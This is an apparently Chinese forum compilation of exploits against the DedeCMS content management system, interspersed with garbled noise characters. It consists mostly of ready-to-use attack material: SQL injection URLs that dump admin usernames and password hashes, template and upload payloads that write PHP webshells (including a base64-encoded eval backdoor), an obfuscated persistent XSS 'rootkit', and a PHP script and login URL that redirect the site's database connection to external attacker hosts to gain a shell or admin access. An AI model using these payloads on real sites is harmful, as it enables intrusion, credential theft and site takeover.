dedecms漏洞总结

admin

  m: W2 f( y: ~! K, }& \Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
6 j/ [4 f* f8 i# Z0 e% L

5 U5 h8 I6 X# O# n6 N, D) F
/ w# V8 d' u- L0 V, k6 ?
% ~  u+ R+ }5 g& Q  ?+ q! b
; _9 k3 G+ M4 Q: N

1 V6 ^  x5 s: e2 P
DedeCms v5.6 嵌入恶意代码执行漏洞
7 d7 B+ @5 v) t) C) ^9 h3 l注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
! M' [- Z$ m& K; [1 g* sa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。


* v- J/ _& c7 D
# g- d" D9 j8 }" s% Q* E
( r+ S1 O2 S! A% q4 f



Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
* w9 _* }" @1 chttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

. w+ X6 _# w/ D; d9 x3 q

1 u$ \$ y) g4 K9 Z( V
! p7 g' B. R. ~& M  O" [


# h% _: V5 F6 m" s3 L$ g9 ]
9 \- [& d, D8 e  V) eDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
, U$ t  x. c1 Uhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`




  e$ W4 x2 _/ }  p

6 }: O% q' n1 l# C% l  \) D" qDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
( B6 G( f3 }0 x; P0 f, ghttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
0 A( W- `1 M; V
% A0 p# a! p3 h2 L9 Z9 k& Z0 S
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

; D1 K. V2 f9 p) ?; s' V+ J9 a
http://v57.demo.dedecms.com/dede/login.php
3 r7 o- a! d+ H' x5 x

: C3 d: d5 ?7 d1 g0 B( i; @5 dcolor=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
( V; v$ Y: d5 A" C7 p) D<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
+ J0 T8 f1 O  A7 {& sDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
* ?, H( j8 k$ a* n);
echo "\r\n";
if($argv[2]==null){
' Y7 q4 o7 b6 o# F7 b7 cprint_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
& u3 b1 f: L7 `/ c$ d% c# faid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
, O: }( e+ c% Z; D: {( k: ~7 J# cExample:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
& B* v' K8 P# U/ v4 A' q0 Qexit;
}
/ b. `8 P. m5 s' `; F$url=$argv[1];
$aid=$argv[2];
& k" ^' A( _  |$path=$argv[3];
  }. O, Q/ d! U- h; c1 T$ s0 w- Q4 _$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
' W' }4 w! \+ n! T9 becho "
" f. Q  F4 I" n9 \/ L4 T9 uExploit Success \n";
: v9 }4 ?9 j' X" |" K0 Mif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;


, K8 |6 f+ {9 e% Fif($aid==2)echo "
  C/ Z  C# b3 `+ qShell:".$url."/$path/fuck.php\n" ;
8 n) W6 ?1 Q% P
4 ?- x6 H) t" }* v, d& A
. F3 n( X+ S1 E" i. v' xif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


}else{
- i2 S% ^0 O* becho "
Exploit Failed \n";
  y- w( D$ Y! j0 T" s1 N8 ]- c- \}
% f3 D' K6 p( @8 \function Getshell($url,$aid,$path){
4 S- p$ |6 H( |& {$id=$aid;
$host=$url;
7 ?3 z; m% R* G. n$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
3 ?, s+ d4 m" z, `$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
% E9 b8 j, q, n; w1 q$ P* d$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
+ x# d% J' h3 w* K& {& v% S( m$data .= "Connection: keep-alive\r\n";
4 Z( C7 U) I% F- R3 i% h$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
) e' X: i& o2 {7 N( t/ O' a! }if (!$ock) {
6 Q6 R0 E) c0 g4 B2 w: R& techo "
No response from ".$host."\n";
1 f' ?! R* v6 _- k  g! q}
fwrite($ock,$data);
2 d2 S( L+ k6 wwhile (!feof($ock)) {
0 G  S! D/ C% S7 P: f$exp=fgets($ock, 1024);
0 r0 ?3 Q  u& Z; W, Qreturn $exp;
}
}
3 q/ i$ N4 ^* L. a1 B, x( v0 |
) c, k9 x, X7 M# l
?>


& [( t  g7 @& l# c
5 R& D$ ^, H& r9 X" N+ v
4 v/ n7 Y: f, D

9 f" `3 n8 M6 c9 C# M

3 _0 W# l* I; I: v$ G  \5 T/ `
4 n; _; `% F- J  w
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
6 s" \: w" N1 l9 f5 U) Nhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


+ j' O9 b3 y/ @0 w: |  v# a3 L5 V把上面validate=dcug改为当前的验证码，即可直接进入网站后台

% t+ K$ B! ]% R% |+ V! n
此漏洞的前提是必须得到后台路径才能实现
4 G7 h* f: G- G, u



8 D7 }& s! T2 [8 a( P7 L  a& t




- f& |/ O+ w. q* d
% Q2 E( t- F: _, r/ B1 i# s3 YDedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
; p: N, t; u/ H8 h$ w, W9 q4 K/ k
, J/ _0 C! Q2 M0 M7 |
" l# w+ X$ C1 D4 }: P再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
2 D+ o+ n+ }7 f) Q0 F<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
  z0 R" B  d3 ]/ u2 t<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
0 h% z3 D* d$ p<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
6 Y+ n1 x: `- G) B</form>
! m% y% }; m! G+ V( g8 U3 D! x% W) p<script>
function addaction()
( N" r$ u- K: K) \+ s{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
: G1 B  a7 a" z3 m/ b& s</script>
. F. }& h! Q; Y* Z9 g
9 |- G5 O+ w) h$ o$ ]( @3 t( _
6 y3 y0 Q9 U! X$ F. A" Z, V  Z1 Q





0 P, S0 O( N, @4 ]
8 @2 q: T: X2 m
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
$ `; h- v$ @2 V6 j; ]  V/ l3 C' ua{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
. `8 Y6 f" \+ h0 {生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg

; m- b/ c' V5 z4 v( W
模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
0 _7 |. E7 e, m- B7 R8 x% o" X$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
# Q, V, N% U# m# r* @+ n# Y  D2 S{/dede:name}
) ^0 R7 w' b# U6 J2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
5 P) m: I) @7 M1 E$ h& G$ p. e<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
9 j. q- g* [* R  m
+ Y1 T0 S8 r$ j' T: Q
6 X/ L1 E7 t# T8 _% u( O<div id="mainCp">
' a1 |3 J+ b" w; {% @<h3 class="meTitle"><strong>修改文章</strong></h3>
( k( N* Y, k( E& w0 S
1 r0 V, X5 b8 I( U! r2 h" t" h
* \" A2 Q* w0 _: K4 K+ W  U<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
( z, v) y8 R" n5 C- H0 y0 Y

2 X2 T2 f+ A) Q' }9 u5 `<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
* {! s( Z5 m6 t% E3 A( p

<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
4 W5 J: f  s7 F: `/ Q</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
) y7 B- i# ~; A, [, n8 z; s& Y+ t
4 ~& a% |3 ~( m7 n' M) X6 B
2 j* }; z: [$ @& ~1 _$ \" O/ B# M; e<label>我的分类：</label>
4 H  L& T0 o" r: |; S' V<select name='mtypesid' size='1'>
4 o3 a, k+ ]( k/ k8 s<option value='0' selected>请选择分类...</option>
6 U8 v% _6 n  U2 `" G<option value='1' class='option3' selected>hahahha</option>
' u, l5 G- p& X</select>
4 C0 t5 s" c8 Y4 O  O

3 [* H7 J1 F% Y5 e. e7 n) ]. }<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)


<label>缩略图：</label>
/ p1 b$ y2 n4 c% l<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
8 n, J6 b5 J7 j: A% d: \) c0 gvalue="templet,htmltext;">（这里构造）
; p( P" y4 H' L  z</div>
4 b" c) f) Q( U
( `9 C# _# f) i/ m
<!-- 表单操作区域 -->
6 t5 @0 b) u# U<h3 class="meTitle">详细内容</h3>
0 `' \) L' N- S! ?" R
; B9 o1 w: D6 ^$ s0 q
# j" }$ Q. _4 S2 k! i<div class="contentShow postForm">
4 }7 ~  m9 U$ A5 A' W# ^9 e<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
! X) _7 D) O* r

<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
7 L+ B8 G- f8 h6 I<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
* d" F- Q, |. u9 a( H9 |- q
6 G  L3 I% b4 G" F
9 X+ v) i" |, ~. D<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
" ?, V4 |, [. G- z4 P1 R5 p</div>

2 O& g: d5 [6 h9 g* Q  s+ y
* P; w# I# O  k: ]+ ?& v1 h; M</div>
; u4 m0 l/ |% v! D# G
2 z* E3 ?9 c4 K
4 g0 `4 w3 z& F5 Y</form>

9 s5 i! l! S1 J: w8 a  o! N
4 ]/ c# A! @' Z, K: J/ f提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
+ ]/ f& n1 o# T5 n8 @即可以在plus目录下生成webshell：1.php


- r% Z/ i4 K$ Z# u0 s, W

( S; k& ~0 I8 X9 |

& }( U. f! a; _# y


1 @/ W9 B3 n, B; B: i
8 u3 @. d; T4 S1 G

DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
5 J; ~/ y$ o' t6 M* O7 _' zGif89a{dede:field name='toby57' runphp='yes'}
* x: o1 Y' z8 J* L( zphpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
" V! I% X$ d6 P* E<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
  p* ^3 s1 {: y. m+ g# `* l<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
; a, L6 Y7 w2 S2 k<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
% t. m7 }1 c6 i5 S

构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
4 ]" y1 j) H0 u0 K( n$ t
& s* f- F' a. V9 F. S. x, L9 D
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
8 _7 O! h  m: [<input type="hidden" name="aid" value="2" />
7 ~8 z# q4 ~# y0 R. [  {<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
$ W, _- T9 S5 R  U<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
8 b+ p4 }; O; i5 ]<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
1 d$ A4 V: e, e& O3 ]; e" l<option value='1' class='option3' selected=''>Test</option>
" S$ S( @- K% \# Z/ I<select name='mtypesid' size='1'>
2 m& A% o9 G6 j! [<option value='0' selected>请选择分类...</option>
4 G* L+ i- G/ m9 W6 D<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
- {- d; t* ~2 k4 b* g<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
( R; L3 ~. t3 Q( K, V<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
* t2 ^- p8 @. X' u</form>
% m! }, b  D) O4 G  i
/ }" P( \9 H) q% D: b/ P& s% W

& l# p+ K1 v: n, {& P- @, \8 w
" h5 s; K/ K& ?- S- Q



& x- [* l: }% ~3 ?) u: e% g



  _$ [" P5 y1 v8 I( Y. r* p! F9 e织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif



4 M0 R: ?! s6 B% W# O: L
, p1 S# ~- }/ \% s
$ I& ]" Q( }, _, s- ]

/ }6 A, H  X2 G& F9 a
/ l9 Z* A: J& d5 h
, W- t/ x% y) u- B6 k8 m
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
7 |3 i, T  v5 |0 V) [4 V- w: {
$ I) J+ Z7 c  k! Z: J! k
+ w& ?3 Q7 }" _1 i, ]+ o

7 \$ D6 s$ y( L! U3 ?
" o( c& ~$ L7 n1 `" _
: N% }9 l" H' F! L% T7 ^% C
7 d( S) B# }8 m7 [' K

/ A6 Q# {+ b1 {, Z& Q; V+ h3 l8 a- _  e
! `" `" F: W9 k; y  iDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
( U( @! d! f0 ?/ `: U密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
% Q0 H5 m! L  e6 w3 S/ }

6 H7 ~3 l2 p3 G6 e4 }
  w$ G) p3 h8 h0 P! K% F


* W0 c3 @" C. q: f! P



织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
0 g- C! n: ?% w- D* t  j
5 N$ k1 m/ Z" |' _
! A2 q0 b5 C2 d7 V  X

& u1 u7 r% f. t; @2 V/ [


; N$ m8 L0 u4 b4 K+ A6 |

5 N6 m" X. ^: ?% P* C, z  G- ?* d
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
& {- }2 q5 l  u5 a$ q<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
% p- L2 V" W7 q4 \4 H* i<body style="FONT-SIZE: 9pt">
2 Q6 F$ I. P' c( A6 q: b8 V---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
1 V/ l7 m' E7 C% c<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
7 h( {* ~- R' g4 O) q5 ?<input type='hidden' name='cfg_not_allowall' value='txt' />
- X- Y( ~! s9 ^. }% s. ^+ Q<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
5 x& i, j2 q) w. c" x<input type='hidden' name='f' value='form1.enclosure' />
' @6 r# Q6 Z+ L/ R$ P; n4 W<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
$ ~" n. v$ f3 Z& @: jNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
/ M6 j- l- n1 I& E: l</html>
. K; \; Z0 o* }& \
) Q: o5 o% t( \5 |& \

) `! d( P* z# b+ N' Y  o$ U7 B$ [/ E



. h1 [5 R7 @% j0 k' b1 r! i
* N7 {7 v5 W' `' y4 r
, j6 I, F2 O9 G! l; o1 h0 [# ]* H
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
; u5 \0 V& g! H6 F1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
8 l0 a5 j+ d4 n5 |# o0 O0 j0 H7 s) z

2 m0 W/ ]+ _9 ?. [/ l2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
& L2 d3 a) O$ K9 h% V& FError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


* v5 M7 t3 x; g! F$ A1 b3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
9 c  l. R# e4 T5 B* ^

+ ~( S8 `& g- G3 W* a<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

* B& P- T( d) _+ x# B
按确定后的看到第2步骤的信息表示文件木马上传成功.
. Y4 v7 q! A  ]7 }  S

) q% U2 C) u4 z2 r
" k5 y9 j* Z+ f; A



- e$ x" t' E9 _
; q2 C4 p6 U4 u8 U2 H



织梦(DedeCms)plus/infosearch.php 文件注入漏洞
+ D, H; R& V4 X! Ohttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*